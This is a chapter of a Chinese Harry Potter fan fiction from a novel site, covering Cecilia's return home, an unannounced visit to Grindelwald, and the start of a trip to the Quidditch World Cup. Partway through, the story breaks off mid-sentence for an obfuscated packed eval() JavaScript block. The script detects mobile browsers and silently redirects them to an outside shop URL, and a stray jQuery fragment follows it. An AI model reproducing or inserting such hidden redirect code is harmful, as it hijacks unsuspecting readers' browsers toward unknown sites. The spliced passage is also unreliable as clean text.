文趣网 > 其他小说 > [HP]西西莉亚 > 65.第 65 章
    旅行结束后的第三天,戈德里克山谷下了一场很长的雨。

    雨从清晨开始,先是落在屋顶上,随后沿着窗沿与藤蔓缓慢流下来,把庭院里那些趁主人不在时擅自越过石径的枝叶压得低了一些。西西莉亚醒来时,房间里仍保留着阴天特有的浅灰色光。床头放着那本已经合上的旅行计划,威尼斯的照片夹在最后一页,露出一小截相纸边缘。她没有立即起床,只躺在那里听了一会儿雨声。过去十三日里,每个早晨都意味着新的地点、列车、道路或者某一项可能被临时改变的安排;如今没有人在门外讨论应该先过哪座桥,也没有西里斯坚持一条明显更远的路属于近路。屋子安静得几乎能够听见楼下时钟内部齿轮转动的声音。

    这种安静并不空旷。

    它只是家在他们离开以后重新恢复了自己的呼吸。

    邓布利多也恢复了校长的工作。旅行期间,霍格沃茨并没有因为校长短暂离开便停止产生问题。事实上,一座居住着数百名未成年巫师、几十位教授、数量不明的幽灵与一群对于边界缺乏尊重的画像的城堡,即使在暑假也能稳定地制造公文。西西莉亚第一天早晨下楼时,看见餐桌一半已经被信件占据。几封来自校董会,一封来自魔法部教育事务处,两封由麦格教授寄来,其中一封足有十一页,说明下学期三年级选修课安排与两位教授教室使用时间发生冲突;另一封只有三行,大意是前一封信里的冲突已经解决,但现在出现了新的冲突。

    “它们为什么不在旅行时寄来?”西西莉亚问。

    邓布利多坐在信件后面,正在为一块面包涂蜂蜜。他涂得过于专心,面包表面已经很难再承担更多。

    “米勒娃认为校长偶尔也应该真正休假。”

    “所以她把全部问题留到你回来以后。”

    “这是一种非常严格的休假保护。”

    他从信堆里抽出一张课程安排。纸面刚刚展开,几行墨迹便开始为了争夺星期二下午第二间教室而互相推挤。邓布利多用魔杖把变形术课程挪到左边,古代如尼文立刻占据空位,算术占卜则从页脚爬上来,声称自己早在五月便预约过那里。

    “学校的课程安排也会争吵吗?”西西莉亚问。

    “只有当负责安排它们的人不愿意亲自争吵时。”

    “那你准备怎么办?”

    “先吃早餐。”

    这个决定并没有使课程冲突消失,却使邓布利多看起来更愿意面对它。西西莉亚在餐桌另一侧摊开从威尼斯带回来的记录。档案室允许她带走的文字已经全部从许可纸背面转移到新的羊皮纸上,她按照本相、诅咒、契约、愿望与辨认重新分类,又把旅途中随手写下的推测夹在相应部分。几张纸边缘仍留有列车晃动造成的歪斜字迹,其中一句“愿望是其他道路关闭时发出的声音”旁边,被档案管理员画上的问号比原句更加醒目。

    她把那句话单独抄了一次,也在旁边留下一个问号。

    研究并没有因为离开威尼斯便结束。它只是从水面下的档案室回到了戈德里克山谷的餐桌。西西莉亚重新检查本相药剂的配方,列出那些可能受到诅咒或长期契约影响的步骤,又在一页空白羊皮纸上记录了新的实验方向。她想知道显影出来的图案究竟属于本相,还是只属于魔力留下的痕迹;复方汤剂、变形术与附身会分别改变哪一层;一个人的名字、外貌、记忆和他人对他的辨认,在药剂中是否拥有相同的分量。

    这些问题比旅行以前更多。

    斯内普收到她寄去的第一份整理稿后,在第二天下午回信。信很短,只指出她引用的十四世纪研究者缺乏基本判断力,关于鹿角与星期二羽毛的实验不具备任何参考价值,并要求她不要因为古代人把错误写在昂贵羊皮纸上,就误以为错误也因此变得珍贵。信末附带一张新的材料清单,其中四种药材只会在秋季成熟,显然意味着他已经默认这项研究会在下学期继续。

    德拉科的回信更长。他首先纠正了威尼斯记录中一处关于长期契约年份的换算错误,随后用一整页解释哈利保管羊皮纸的方式为什么不适合参与重要研究。哈利则在同一日寄来一封只有半页的信,表示自己从未弄丢过真正重要的东西,只是偶尔不知道它们暂时在哪里。信封中还装着他在旅途中补画的第二份飞行路线,虽然西西莉亚已经拥有一张完全相同的。

    塞德里克寄来了银翼龙观察记录的誊写稿。正式记录里删除了哈利不承认疲惫与德拉科鞋子不适合山路的部分,却在末尾保留了山谷中那座湖的简单图示。旁边写着:水面反光可能影响对龙群高度的判断。西西莉亚看了一会儿,觉得那片反光大概也影响了其他事。她把记录放进有关魔法生物的抽屉,又把湖边找到的植物制成标本,夹在单独的薄册子里。

    旅行带回来的物品逐渐找到了位置。

    旧书进入书架,面具放进柜子,明信片和车票被夹进计划书,未吃完的糖果进入邓布利多的口袋,随后失去进一步追踪的可能。威尼斯合影被复制了几份,一份寄给哈利与西里斯,一份寄给塞德里克,一份由德拉科要求使用“不会因为保存不当而卷边的相纸”重新制作。邓布利多得到的那张被放在客厅壁炉上方。相片里的他仍然不断被风吹歪帽子,持续了三天也没有找到能够扶正它的方法。

    第四天上午,西西莉亚把最后一份记录归入档案盒。

    她检查目录,系好细绳,将盒子放到书架第二层。本相药剂的研究暂时整理完毕,旅行中所有需要保存的资料也已经获得编号。桌面重新露出来,只剩一只空墨水瓶与威尼斯档案许可最初使用的信封。西西莉亚坐在那里,忽然发现自己已经没有必须立刻做完的事情。

    窗外的雨在午前停了。云层仍然很低,庭院里的叶片挂着细小水珠。邓布利多在楼下书房处理校董会的信,羽毛笔划过纸面的声音断断续续传上来。西西莉亚看着空下来的桌面,想起纽蒙迦德那间总是很安静的房间,以及盖勒特上一次询问她下次何时前来时,自己给出的那个尚未确定的日期。

    从前,他们探望盖勒特总有固定时间。

    圣诞节、暑假,或者某一封信往返以后约定的日子。邓布利多会提前与看守联系,准备门钥匙或幻影移形的落点,西西莉亚则整理需要带去的东西。那些访问具有清楚的开始与结束,如同一项被写进计划、必须按时完成的安排。盖勒特似乎并不喜欢等待,却从不承认自己在等待。他会在他们比约定晚几分钟时提出意见,又在他们准时抵达时表示这只能证明阿不思尚未完全失去时间观念。

    西西莉亚下楼,走进书房。

    邓布利多正在回复麦格教授第二封信。听见脚步,他没有立即抬头,只把羊皮纸上试图爬向页边的一行课程名称重新推回去。

    “爸爸。”

    “嗯?”

    “我想去看盖勒特。”

    羽毛笔在纸上停住。

    邓布利多抬起头,看了一眼窗外尚未完全散开的云,又看向桌边的日历。

    “今天?”

    “今天。”

    “我们没有提前约定。”

    “我知道。”

    西西莉亚站在桌前。她并不是因为遗忘约定而忽然想起盖勒特,也不是因为某一封信催促她前往。她只是整理完旅途留下的全部东西,想把那些没有写进信里的事情告诉他。想让他知道银翼龙怎样越过山谷,西里斯如何把错误路线称为近路,邓布利多在威尼斯戴了一张会唱歌的面具,以及古代档案室中那句关于辨认的话。

    “旅行中有很多事都没有提前安排。”她说,“我们走错路,看见不在计划里的广场,也临时改变过飞行方向。去看盖勒特不应该只是一项固定日程。”

    邓布利多安静地看着她。

    “你认为应该是什么?”

    “想见他,或者想和他说话时,就可以去看他。”西西莉亚说,“他是我的父亲。”

    这句话说得很自然。

    它不像一种请求,也不像她经过漫长判断以后勉强承认的结论。盖勒特是她的创造者,是那个赋予她名字、力量与最初目的的人,也是在高塔里一次次等待她来信的人。父亲这个称呼没有因此替他洗去任何过往,却已经成为他们之间不需要重新证明的关系。

    邓布利多低头看了看尚未写完的回信。

    “米勒娃或许会认为,课程安排比一次临时访问更加紧急。”

    “她已经解决过一次。”

    “所以我们应当信任她还能解决第二次?”

    “你可以在信里这样写。”

    邓布利多笑了一下。他在羊皮纸末尾补了几行,把羽毛笔放回墨水瓶,随后起身取过搭在椅背上的外袍。

    “那么我们最好在她寄来第三封信以前离开。”

    纽蒙迦德的天气与戈德里克山谷不同。穿过国际门钥匙落点以后,山风立刻从高处压下来,带着残雪、石头与很远地方的松木气味。夏日已经使山谷大部分积雪融化,高塔背阴的一侧却仍残留着一道狭长的白色。天空清澈而高,云影从山壁上缓慢移动。

    看守并没有接到提前通知。他打开外门时,先看见邓布利多,脸上出现一种职业性的平静;随后看见西西莉亚,那份平静里便多了一点意外。

    “今天不在访问记录上。”

    “我们知道。”西西莉亚说。

    看守看了看邓布利多。

    “临时事务?”

    “临时探望。”邓布利多回答。

    这似乎比临时事务更加少见。看守沉默片刻,还是让开道路。他检查了他们带来的物品,确认其中只有几封信、一盒没有魔法反应的照片和邓布利多坚持随身携带的糖果。随后他领着他们走过高塔内部漫长的石阶。

    盖勒特坐在窗边。

    听见门锁转动时,他没有立刻回头。这个时间不属于送餐、检查或任何固定来访,因而他的肩膀在极短的一瞬间变得警觉。门被推开以后,他先看见邓布利多,眉间微微收紧;等西西莉亚从邓布利多身后走出来,那点紧绷才消失得几乎没有留下痕迹。

    “阿不思。”他说,“如果你终于决定在没有通知的情况下把校长工作丢给别人,我不得不承认这比你年轻时更有进步。”

    “下午好,盖勒特。”

    “现在是下午吗?这里的钟昨天开始慢了四十分钟,看守坚称是天气造成的。我认为他只是不愿意修。”

    西西莉亚走到桌边,把装着照片的盒子放下。

    “是我想来。”

    盖勒特看向她。

    “今天?”

    “今天。”

    “为什么?”

    “因为我整理完了旅行记录,想把它们告诉你。”

    盖勒特沉默了一会儿。他的神情没有明显变化,只伸手将桌面上原本摊开的书合起来,为她腾出位置。

    “那么看来阿不思只是负责开门。”

    “主要是负责同行。”邓布利多说。

    “他一向很擅长把陪同描述得比实际贡献重要。”

    尽管如此,盖勒特还是把另一张椅子向邓布利多的方向推了一点。这个动作做得随意,仿佛那张椅子只是恰好挡在那里。邓布利多没有指出,而是在窗边坐下。

    西西莉亚从银翼龙开始说起。

    她告诉盖勒特,他们在清晨进入山谷,塞德里克如何判断天气,哈利怎样在走到后半段以后坚决否认自己已经疲惫,德拉科的鞋为什么更适合出现在山区照片里,而不是山区本身。银翼龙从云层下出现时,整个山谷都很安静,翅膀反射出的光比声音更早抵达。它们没有靠近,也没有因为六个人的存在改变路线,只越过山谷,消失在更远的雪峰后方。

    盖勒特听得很认真。

    “银翼龙不会轻易让人接近迁徙路线。”他说,“你没有试图召唤它们?”

    “没有。”

    “为什么?”

    “那是它们的旅程。”

    盖勒特看了她一眼,没有评价。他年轻时大概不会接受一个足以被力量触及的事物选择从自己面前远去。如今他坐在高塔窗边,似乎已经比从前更理解,有些东西之所以值得看见,恰恰是因为它没有为任何人停下。

    西西莉亚接着说起威尼斯。

    西里斯如何坚持一条狭窄水道是近路,德拉科如何拿着旅馆确认函指出他们应当经过另一座桥,哈利为什么支持西里斯,以及她第一次没有立即阻止。结果他们多走了一段,却看见一座原本不在计划中的庭院。盖勒特听到这里,向邓布利多投去一个意味不明的目光。

    “她终于学会不在第一时间纠正别人的错误。”

    “我认为那更接近容许错误发生。”邓布利多说。

    “你年轻时对这件事也很宽容。”

    “我不认为我们说的是同一种错误。”

    “错误总喜欢在多年后获得新的分类。”

    西西莉亚没有让这场可能延续到傍晚的讨论偏离主题。她把威尼斯合影递给盖勒特。相片里的人仍然各自朝向不同地方。西里斯试图把羽毛帽放到哈利头上,德拉科刚刚发现相机,塞德里克站在西西莉亚身侧笑,邓布利多的帽子被风吹歪。

    盖勒特拿着照片看了很久。

    “这是什么?”他最后指着邓布利多脸上的东西问。

    “一张面具。”西西莉亚说。

    “我看得出来。我问的是,为什么有人会允许他选择这张面具?”

    “店里只有它在打折。”邓布利多解释。

    盖勒特转过照片,确认背面没有留下进一步说明。

    “我曾经以为你晚年的审美至少不会比青年时期更危险。”

    “它在庆典上非常受欢迎。”

    “因为所有人都能及时避开你。”

    西西莉亚又告诉他,面具上的太阳会唱歌,后来还无法用普通静音咒关闭。盖勒特听完以后第一次真正笑了起来。笑意出现得很轻,却没有立刻消失。他重新低头看照片,目光从每一个人身上经过,最后停在西西莉亚的位置。

    “你站在中间。”他说。

    “相机自己拍的。”

    “相机通常只负责拍摄,不负责安排人站在哪里。”

    “没有人安排。”

    “我知道。”

    盖勒特没有再说什么。他把照片放在桌上,却没有推还给她。西西莉亚便从盒子里取出另一张,告诉他这一张可以留下。

    之后是本相药剂。

    这一部分比旅行趣闻更长。西西莉亚把威尼斯档案室查到的四条记录逐一说给他听,又说明自己对诅咒覆盖与长期契约的推测。盖勒特没有像斯内普那样立即把十四世纪研究者称为缺乏判断力,但他对那位通过七种药剂获得鹿角的巫师表现出了相似意见。

    “他为什么不在第二次失败后停止?”

    “他认为副作用证明自己接近答案。”

    “这是许多愚蠢研究能够持续下去的原因。”

    “斯内普教授也这样认为。”

    盖勒特的神情变得略微复杂。

    “我不喜欢与霍格沃茨的魔药教授意见一致。”

    “你们在很多问题上都可能意见一致。”

    “这不能改善问题。”

    他们讨论诅咒是否会成为人的一部分,也讨论魔法契约怎样在长期作用下改变施法痕迹。西西莉亚没有直接提起圣杯,却把那句“没有任何存在能够仅凭自己的意志,完整决定自己是什么”读给他听。

    盖勒特靠在椅背上,望着窗外。

    “写下这句话的人大概很相信别人。”

    “也可能只是认为人无法独自存在。”

    “那是两种不同程度的乐观。”

    “你认为本相会受到他人辨认影响吗?”

    盖勒特没有立即回答。高塔外的风掠过石壁,发出低而遥远的声音。照片里的六个人仍在桌面上轻微移动。盖勒特的手指停在相纸边缘,没有碰到其中任何一个人。

    “会。”他说,“一个人如果永远只被当作工具,他迟早会忘记自己还有别的用途。一个人如果一直被称为怪物,也可能学会以怪物的方式活着。但这不意味着别人说什么,你就必须成为什么。”

    “那么哪一种辨认才是真的?”

    “能够让你拥有选择的那一种。”

    西西莉亚想了一会儿,把这句话记在随身带来的小册子上。

    盖勒特看见她记录,略微扬起眉。

    “你准备把它写进论文?”

    “先留下。”

    “至少不要把我的话放在那个长出鹿角的人后面。”

    “我会单独分类。”

    “也不要与西弗勒斯·斯内普放在一起。”

    “这取决于你们的意见是否相似。”

    邓布利多坐在窗边,终于没有忍住笑意。盖勒特冷淡地看了他一眼,却没有要求西西莉亚删去记录。

    他们一直谈到下午接近傍晚。看守在门外敲过一次,提醒探访时间并未经过正常登记,因而不能无限延长。盖勒特表示“无限”是一个严重夸大的词,今天只过去了几个小时;看守则说,高塔里的时间无论怎样理解,都必须遵守外面的钟。

    离开以前,西西莉亚把威尼斯照片摆在盖勒特桌上,又将一份本相药剂记录留给他。盖勒特翻了翻最上面的几页。

    “下次什么时候来?”

    “还不知道。”

    盖勒特抬起眼睛。

    “这一次的访问似乎并没有改善时间安排。”

    “我会在想来的时候来。”

    “这听起来比固定日期更加不可靠。”

    “也可能更早。”

    盖勒特没有继续反对。他只把记录与照片一同放到窗边,那个位置在白天能够得到高塔中最完整的光。

    “那么至少提前一小时通知看守。”他说,“他面对意外时的表情没有想象中有趣。”

    返回戈德里克山谷时,天色已经暗了。

    雨后的道路仍然湿润,村庄里的灯逐渐亮起。邓布利多与西西莉亚沿石板路慢慢往家走。两个人都没有立刻说话。远处有人关上院门,一只猫从矮墙上跳下来,穿过他们面前,又从另一侧篱笆下消失。

    “在你说起旅途趣闻的时候,”邓布利多忽然说,“有一段时间,我以为你会邀请盖勒特参加下一次旅行。”

    西西莉亚抬头看他。

    “为什么?”

    “你告诉他银翼龙、湖泊、面具庆典,也告诉他西里斯如何不断试图修改路线。听起来像是在向一个错过旅行的人说明,下一次可以一起去。”

    西西莉亚没有否认。

    他们经过教堂前的小路。树叶上的水在风中落下来,敲在石墙上。

    “我想过。”她说,“我很希望他能一起去。”

    邓布利多脚步没有改变。

    “但是?”

    “我阅读过历史。”

    这句话在夜色里显得很平静。西西莉亚读过盖勒特·格林德沃年轻时做过的事情,读过那些战役、监禁、追随者与死亡。历史书中的文字无法完整保存一个人的疼痛,却保留了数量、地点与结果。许多人没有机会活到战争结束,也没有机会看见盖勒特在高塔中度过漫长岁月。西西莉亚能够爱自己的父亲,能够想让他看见山谷、湖泊与威尼斯夜晚的水,却不能因为这种愿望便把那些死亡从道路上移开。

    “我不应该代替任何一个在战争中死去的人原谅他。”她说,“即使他是我的父亲。”

    邓布利多停下脚步。

    庭院的门就在前方,屋内没有点灯,窗户映着夜空最后一层尚未褪尽的蓝。他看着西西莉亚,神情中没有惊讶,也没有因为她作出某种正确判断而出现的欣慰。那更像一种安静的理解。

    “爱一个人,”他说,“与替他免除应当承担的事,并不是同一件事。”

    “我知道。”

    “你也不必因为不能给他自由,就认为你的探望没有意义。”

    “我没有这样认为。”西西莉亚说,“所以我今天去了。”

    邓布利多微微笑起来。

    他们推开院门。屋里的灯随着脚步逐一亮起,旅行照片仍然摆在壁炉上方。西西莉亚回到自己的房间,把今天新记下的那句话放进本相药剂档案:真正的辨认,应当使一个人拥有选择。她没有立刻判断它是否正确,只在旁边保留了足够的空白。

    两日以后,一只猫头鹰撞上了书房窗户。

    那并不是因为天气不好。上午阳光明亮,窗户也十分干净。猫头鹰之所以撞上去,只是因为它携带的包裹比自己更宽,转弯时错误估计了翅膀与窗框之间的距离。撞击声使邓布利多手里的羽毛笔在校董会回信上划出一道很长的墨迹,也使正在客厅阅读的西西莉亚抬起头。

    猫头鹰在窗外盘旋一圈,第二次选择降落到窗台。

    它用喙敲了两下玻璃,表情严肃,仿佛刚才的事故应当由房屋负责。

    西西莉亚打开窗。猫头鹰把包裹扔进来,伸出一只脚等待报酬。邓布利多从抽屉里找到一小块饼干,猫头鹰吃完以后仍没有离开,直到他又补上一块,才认为撞击窗户所受的损害得到合理补偿。

    包裹上写着西西莉亚的名字。字迹属于哈利,地址最后一行却被另一种更加潦草的笔迹补上:“戈德里克山谷那栋门有些歪、糖很多的房子。”这显然是西里斯为防止猫头鹰找错地方提供的帮助。猫头鹰能够成功送到,可能主要依靠前面几行。

    包裹里是一封信、三张魁地奇世界杯门票和一枚会不断重复发出欢呼声的小徽章。西西莉亚刚把徽章拿出来,它便用一种远超体积所能解释的声音喊起爱尔兰队的口号。邓布利多用魔杖点了三次才让它安静,随后徽章开始以很轻的声音抱怨这场比赛尚未开始,自己却已经遭到不公正对待。

    哈利的信写得很快,几处墨迹因为没有完全干透而蹭在信纸上。他告诉西西莉亚,魁地奇世界杯决赛将于八月下旬举行,西里斯弄到了三张位置很好的门票,邀请她与他们同行。他还特别说明,门票并不是西里斯从任何可疑的人手里赢来的,也不是使用布莱克家族旧银器交换,而是通过正常渠道取得。信末另有一行较小的字:

    我不知道他为什么坚持让我解释这些。

    下面是西里斯的补充:

    因为阿不思会问。

    再下面还有一句:

    另:这不算由我负责的下一次旅行。行程没有经过雪山,且所有主要路线均由魔法部安排,不足以体现我的能力。

    邓布利多读完信,先检查了门票的防伪印章,又检查日期与座位。

    “确实是正常渠道。”他说。

    “你原本认为不是吗?”

    “我只是尊重西里斯主动提供的说明。”

    “他认为你会问。”

    “这证明他已经开始理解监护人。”

    “也可能证明你过去问过很多次。”

    邓布利多把门票还给她。

    “你想去吗?”

    “想。”

    西西莉亚对魁地奇比赛本身仍然没有产生足以解释规则的热情。她知道追球手、击球手、守门员与找球手各自负责什么,也已经能够在不询问塞德里克的情况下判断哪支队伍得分。但她仍然认为一项运动允许其中一个人抓住一只很小的球便获得一百五十分,同时又保留即使获得这一百五十分也可能输掉比赛的可能,多少像是两套规则在制定过程中拒绝互相妥协。

    然而世界杯并不只是一场比赛。

    哈利和西里斯会在那里,塞德里克也大概率会前往。世界各国的巫师会暂时聚集到同一处,像他们在欧洲旅行中经过的许多道路最终汇入一座更大的城市。西西莉亚没有理由拒绝。

    “你不去吗?”她问。

    “恐怕不去。”邓布利多看向桌上重新堆高的信件,“开学以前还有许多事情需要处理。三强争霸赛的准备工作比我最初预计的更加复杂,而米勒娃已经在第三封信里明确表示,我不能继续假装没有看见课程安排。”

    “你看见了。”

    “但尚未作出足以令她满意的回应。”

    “她会知道吗?”

    “米勒娃总会知道。”

    西西莉亚低头看着门票。旅行以前,邓布利多大概会亲自陪她前往任何规模如此庞大、参与者如此复杂的活动。摄魂怪登上霍格沃茨特快时,他甚至因为无法立即确认她是否平安而出现在礼堂门口。现在他只是检查门票,确认同行者与时间,然后问她是否想去。

    这并不意味着担心减少。

    只是担心已经不再等同于把她一直留在自己能够看见的地方。

    “西里斯会照看我。”西西莉亚说。

    邓布利多的目光在信末那句关于雪山的声明上停了一下。

    “从法律与年龄上说,是的。”

    “从其他方面呢?”

    “我相信哈利会在必要时提醒他。”

    西西莉亚认为这大概不是对成年照看者最充分的评价,但西里斯如果听见,可能会把它理解为另一种肯定。

    “必要的情况下,我会跟着塞德里克。”

    回信在当日下午寄出。西里斯第二天便作出回复,信中附带了一份由他签名的临时照看承诺。承诺保证他会使西西莉亚远离非法门钥匙、未经许可的飞行器、危险魔法生物以及“一切无法提前预见的明显风险”。邓布利多在最后一项旁边画了一条线,询问无法提前预见的风险如何判断是否明显。西里斯又回信说,这种措辞是律师建议的,具体含义最好不要深入讨论。

    出发当日,他们在天亮以前起床。

    戈德里克山谷仍然笼罩在浅蓝色的清晨里。厨房点着灯,桌上放着简单的早餐与西西莉亚已经整理好的行李。她只带了一个小箱子、一件外套、几本随身阅读的书和本相药剂研究笔记。邓布利多认为观看一场魁地奇比赛未必需要携带研究档案;西西莉亚则认为世界杯营地会聚集许多不同国家的巫师,或许能够观察到平日难以见到的魔法痕迹。

    “你不准备对任何陌生人使用药剂吧?”邓布利多问。

    “未经允许不会。”

    “这使我放心了大部分。”

    “剩下的部分呢?”

    “仍然属于一个监护人无法完全取消的习惯。”

    敲门声在四点四十分响起。

    西里斯没有像往常一样从壁炉出来,也没有骑着摩托降落在庭院里。他从正门走进来,穿着一件深色旅行外套,头发虽然仍然比德拉科能够接受的长度更长,却显然认真整理过。哈利跟在他身后,背着行李,眼镜因为清晨潮气蒙上一层很薄的白雾。

    “我们没有迟到。”西里斯进门后第一句话便是这个。

    邓布利多看向墙上的钟。

    “早了七分钟。”

    “这证明我适合负责旅行路线。”

    “只证明哈利昨晚把闹钟拨快了。”

    哈利把眼镜摘下来擦拭。

    “我拨快了十五分钟。”

    “为什么?”

    “因为他原本准备再睡十分钟。”

    西里斯没有否认。他接过西西莉亚的箱子,像是这个动作已经足以完成全部交接。邓布利多却仍然递给他一张写有紧急联络方式的羊皮纸、两只备用门钥匙许可牌和一小瓶用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947126|213502||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    于处理普通外伤的药剂。

    “我们只是去看比赛。”西里斯说。

    “我知道。”

    “不会经过雪山。”

    “信里写过。”

    “也没有摩托。”

    “这一点尤其令人安心。”

    “你的语气听起来不像夸奖。”

    邓布利多微笑着替西西莉亚整理了一下外套领口。西西莉亚的头发已经束好,行李也没有遗漏。他其实没有什么需要再次检查,只把手在她肩上停了一会儿。

    “如果遇到麻烦——”

    “我会先判断能否解决。”

    “如果不能?”

    “告诉西里斯。”

    邓布利多看向西里斯。

    “然后呢?”

    “如果我们两个都不能解决,就告诉你。”西里斯说,“你看,我完全理解照看未成年人的顺序。”

    “通常顺序中不包括由未成年人先行判断。”

    “西西莉亚不算通常情况。”

    这句话无法反驳,却也没有真正使邓布利多更加放心。最后,他只俯身抱了抱西西莉亚。拥抱并不长,也不带着某种即将远行的郑重。他们只会分别几日,她很快便会回到这里。

    “玩得开心。”他说。

    “好。”

    西西莉亚跟着哈利与西里斯走出院门。天边刚刚出现第一层淡金色的光。邓布利多站在门前,看着三个人沿道路向村庄外走去。西里斯一手提着箱子,一手展开地图;哈利提醒他集合地点不在地图另一面;西西莉亚则在他们真正走错以前将地图转了过来。

    邓布利多没有追上去。

    他只是一直站在那里,直到三个人转过道路尽头,身影消失。

    魔法部为世界杯安排了大量门钥匙,以免数万名巫师同时使用飞路网或在同一地区幻影移形。西里斯取得的门钥匙集合地点位于德文郡一座没有名字的小山上。他先带着哈利与西西莉亚通过一处经过登记的壁炉抵达附近村庄,随后步行前往山顶。

    清晨的草地沾满露水。道路起初还算清楚,后来逐渐变成两道在灌木之间穿行的浅痕。西里斯坚持地图上标注的距离只有一英里,哈利则指出他们已经走了四十分钟。

    “地图是直线距离。”西里斯说。

    “我们不能直线穿过那片树林。”

    “理论上可以。”

    “树林里有围栏。”

    “围栏并不构成理论障碍。”

    西西莉亚走在他们身后,看见山坡上方出现几个人影。

    “塞德里克在那里。”

    哈利立即抬头。清晨的雾尚未完全散开,山顶的人只能看见模糊轮廓。其中一个高瘦的少年正站在一只旧靴子旁边,低头确认手表;即使看不清面孔,仅凭他在所有人到齐以前便开始核对时间的姿态,也足以认出塞德里克。

    “你怎么知道是他?”哈利问。

    “他在确认有没有人迟到。”

    “也可能是别人。”

    山顶上的少年正好回过头,发现他们以后抬起手。

    “是塞德里克。”西西莉亚说。

    他们加快脚步。塞德里克从坡顶迎下来,替西里斯接过一只箱子。

    “你们比预计晚了六分钟。”

    哈利看向西里斯。

    “地图是直线距离。”西里斯再次解释。

    “你出发前没有看地形吗?”塞德里克问。

    “我看了。地形与地图基本一致。”

    “除了树林和围栏?”

    “那属于细节。”

    塞德里克笑了起来。他看上去与分别时没有明显变化,只是头发被清晨雾气打湿了一点,外套袖口沾着草叶。他先同哈利拥抱,又走到西西莉亚面前。两个人分别不到两周,不需要询问彼此是否一切安好。他的目光落在她的行李上。

    “你带了研究记录?”

    “只有一部分。”

    “世界杯不是研究活动。”哈利说。

    “世界各国的巫师会在那里。”

    “所以?”

    “可以观察不同地区的魔法痕迹。”

    德拉科不在这里,哈利只好代替他露出一种对此并不意外的神情。

    “你已经开始把旅行也变成研究了。”

    “研究是在旅行中开始的。”

    “这听起来更严重。”

    阿莫斯与迪戈里夫人站在山顶,他看见西里斯时明显怔了一下。虽然在圣诞集市的时候已经短暂会面,但那张通缉令显然深入人心,令每一次再会都带上了一丝冲击感。西里斯已经获得完全平反,名字出现在魔法部正式声明、预言家日报与许多持续数周的争论中;然而对大多数成年巫师而言,十二年形成的印象不会因为一张声明便立刻消失。阿莫斯的目光短暂落在西里斯脸上,又看向他身旁的哈利。

    西里斯没有回避,也没有主动解释。

    他站在清晨的山坡上,使用自己的名字,带着教子与受邓布利多托付的孩子前往一场公开比赛。他没有化作黑狗,没有躲在阴影里,也不需要在听见远处有人走来时确认逃跑路线。

    最先打破停顿的是迪戈里夫人。

    “很高兴见到你,布莱克先生。”她说,“塞德里克回家以后,提起了许多旅行中的事。”

    “希望主要是能够公开提起的部分。”

    “他说你试图设计一条骑摩托穿越雪山的路线。”

    “那完全可以公开讨论。”

    阿莫斯像是终于找到足以越过旧印象的话题。

    “塞德里克说那条路线没有合法许可。”

    “目前没有。”西里斯纠正。

    “也没有适合降落的地点。”

    “我们已经找到两处可能位置。”

    “其中一处是结冰的湖。”塞德里克说。

    “结冰以后非常平整。”

    阿莫斯认真考虑了片刻,似乎开始从魔法交通管理的角度评估这项计划。迪戈里夫人及时提醒他们,门钥匙还有三分钟启动。

    那只被指定为门钥匙的旧靴子躺在草地上,外皮已经裂开,鞋带也只剩一半。它显然曾属于某个脚比正常人大出许多的人,也可能只是魔法部认为越不可能被麻瓜捡走的物品越适合承担国际体育赛事的交通工作。

    “我们要碰它?”哈利问。

    “只要一根手指。”塞德里克说。

    “如果它刚才被人穿过呢?”

    “那个人大概已经不再需要这只鞋。”

    “这没有回答问题。”

    西里斯已经抓住鞋跟。

    “门钥匙的优点就在于你不会有足够时间后悔。”

    其他人围拢过去。西西莉亚把手指放在鞋面上。旧皮革潮湿而冰冷,没有任何特别之处。阿莫斯开始倒数。三、二、一。

    一股力量忽然从腹部深处把她向前拉去。

    山坡、雾气与草地同时消失。六个人被同一只看不见的钩子拖入旋转的风里。西西莉亚的脚离开地面,长发在身后完全散开,周围的人影与行李变成模糊的颜色。哈利似乎在她左侧试图抓住眼镜,塞德里克仍握着箱子,阿莫斯正在说一句被风扯碎的话,西里斯则发出一种更接近兴奋而不是意外的声音。

    几秒以后,地面重新出现。

    西西莉亚落在一片湿草上,向前走了两步便站稳。塞德里克也勉强保持平衡,只有手里的箱子先撞到地面。迪戈里夫人扶住阿莫斯。哈利在落地时松开门钥匙,坐进一小片草丛。西里斯则多向前冲了几步,最后抓住一根木桩。

    “非常平稳。”他说。

    哈利从草地上抬起头。

    “你对平稳的要求太低了。”

    附近不断有人从空中出现。几名巫师抓着一只破茶壶落下来,另外一家人跟随一只生锈的铁桶抵达,一位年长女巫在落地以后发现自己的帽子仍停留在半空,等了几秒才从头顶掉下来。魔法部职员站在一张临时搭起的桌子后登记门钥匙编号,神情显然已经看过太多人以不同姿势摔进草地,因而对任何情况都不再惊讶。

    “德文郡北部,五点零七分,旧靴,七人。”他低头记录。

    “六人。”塞德里克说。

    职员抬头数了一遍。

    “旧靴也算一个。”

    “为什么?”

    “它需要回收。”

    西里斯把靴子递给他。职员检查鞋带,确认没有人在途中遗失,随后把它扔进一只已经堆满破旧物品的箱子。那些茶壶、铁桶、轮胎与鞋在箱内不时轻轻碰撞,像是正在交换各自运送乘客的经验。

    从门钥匙落点到营地仍需步行一段。

    路上的人越来越多。不同语言从草地、道路与树林间传来,有些服装带着遥远地区的魔法风格,有些人则显然正竭尽全力把自己打扮成麻瓜。一个穿着长毛皮斗篷的男人戴着亮黄色游泳帽,手里拿着网球拍;两名年长女巫共同研究一条男式领带,最后决定把它系在其中一人的腰上;还有一位魔法部职员穿着尺寸过小的麻瓜西装,裤脚停在小腿中间,却始终坚称这是伦敦目前最正式的款式。

    西里斯从他身旁经过,回头看了两次。

    “也许我被关起来的时间比想象中更长。”

    “麻瓜没有这样穿。”哈利说。

    “你确定?”

    “非常确定。”

    “那为什么魔法部让他负责指导其他人?”

    “这可能解释了这里大部分人的衣服。”

